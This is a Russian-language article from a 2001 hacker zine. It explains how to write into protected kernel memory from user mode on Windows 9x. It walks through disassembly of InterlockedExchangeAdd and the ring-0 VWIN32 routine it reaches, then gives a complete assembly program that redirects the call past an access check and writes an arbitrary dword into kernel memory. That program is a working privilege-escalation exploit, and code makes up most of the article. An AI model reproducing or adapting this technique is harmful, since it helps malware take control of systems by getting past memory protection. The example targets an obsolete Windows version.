·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                 WIN9X: ПИШЕМ В ЗАЩИЩЕННУЮ ПАМЯТЬ ИЗ RING-3
 ············································································

     В win32 api есть следующие функции:

 InterlockedIncrement
 InterlockedDecrement
 InterlockedCompareExchange
 InterlockedExchange
 InterlockedExchangeAdd

     Эти  функции  предназначены  для  синхронизации  доступа к расшаренным
 флагам  из  нескольких  нитей в мультитреадной программе или из нескольких
 программ, когда флаги хранятся в расшаренной памяти.

     Рассмотрим одну такую функцию подробнее.

KERNEL32.DLL
BFF70000:
...
InterlockedExchangeAdd:
BFF743CA: 8B4C2404      mov     ecx, [esp+4]       ; адрес
BFF743CE: FF252C9EFCBF  jmp     dword ptr [BFFC9E2C]
variant_1:
BFF743D4: 8B442408      mov     eax, [esp+8]       ; новое значение
BFF743D8: 0FC101        xadd    [ecx], eax
BFF743DB: C20800        retn    0008
variant_2:
BFF743DE: 830100        add     dword ptr [ecx], 0 ; проверка доступа   (*)
call_ring0_xadd:
BFF743E1: FF742408      push    dword ptr [esp+8]  ; новое значение
BFF743E5: 51            push    ecx                ; адрес
BFF743E6: 685B002A00    push    002A005B
BFF743EB: E8E4CFFFFF    call    BFF713D4           ; KERNEL32_ord0
BFF743F0: C20800        retn    0008

BFFC9E2C:               dd      BFF743D4           ; variant_1 / variant_2

     Как  видно, в случае, если процессор поддерживает специально для этого
 сделанную  функцию XADD, будет работать первый вариант; в противном случае
 будет  работать  второй.  Дворд,  хранящий  один из двух адресов процедур,
 устанавливается при инициализации кернела.

     Что   же  происходит  при  вызове  второй  процедуры?  В  этом  случае
 управление уходит в ring-0 и там, в VWIN32 происходит такое действо:

C0111ADC: 8B542404      mov     edx, [esp+4]
C0111AE0: 8B74240C      mov     esi, [esp+0C]      ; адрес
C0111AE4: 8B4C2410      mov     ecx, [esp+10]      ; новое значение
C0111AE8: 8B06          mov     eax, [esi]
C0111AEA: 03C8          add     ecx, eax
C0111AEC: 890E          mov     [esi], ecx         ; НСД ;-)
C0111AEE: 89421C        mov     [edx+1C], eax      ; вернуть старое значение
C0111AF1: C21000        retn    0010

     Итак,   нам   осталось   только  попасть  в  эту  рулезную  процедуру.
 Единственная  проверка  на  наябку  --  это  команда  (*)  (см.выше), кояя
 проверяет на валидность подлежащий использованию дворд.

     Таким  образом,  нам надо просто вызвать подпрограмму call_ring0_xadd,
 находящуюся в кернеле.

····[begin EXAMPLE.ASM]······················································
extern                  InterlockedExchangeAdd:PROC

 ; нижеследующая дельта может зависеть от версии маздая; здесь - win98 SE RUS
DELTA                   equ     17h  ; call_ring0_xadd-InterlockedExchangeAdd

                        p386
                        model   flat
                        .data
                        dd      ?
                        .code
start:
                        int 3

                        ; слегка пофиксим адрес InterlockedExchangeAdd,
                        ; при этом мы рассчитываем на линковку TLINK'ом
                        lea     eax, InterlockedExchangeAdd
                        mov     eax, [eax+2]    ; +2 = поскипать FF 25
                        add     dword ptr [eax], DELTA

                        mov     edi, 0BFF70000h ; кернел
                        mov     eax, 12345678h
                        call    write_dword     ; пишем дворд в кернел

                        retn                    ; выход

; input: EDI = адрес дворда
;        EAX = дворд для записи

write_dword:            pusha
                        sub     eax, [edi]      ; так как будет ADD [edi],eax

                        mov     ecx, edi        ; адрес
                        push    eax             ; значение
                        push    0               ; не используется
                        call    InterlockedExchangeAdd

                        popa
                        retn

                        end     start
····[end EXAMPLE.ASM]························································

     .DEF-файл  нужен  только  потому,  что  в  IMPORT32.LIB описание нашей
 процедуры  отсутствует,  хотя  и должно быть. А может у меня просто старая
 версия.

····[begin EXAMPLE.DEF]······················································
IMPORTS
        InterlockedExchangeAdd  = KERNEL32.InterlockedExchangeAdd
····[end EXAMPLE.DEF]························································

     Как  видно,  основная  маза тут в том, что запись в ранее недоступную,
 защищенную  память  происходит  достаточно легальным способом, через вызов
 кернеловской процедуры.

 ············································································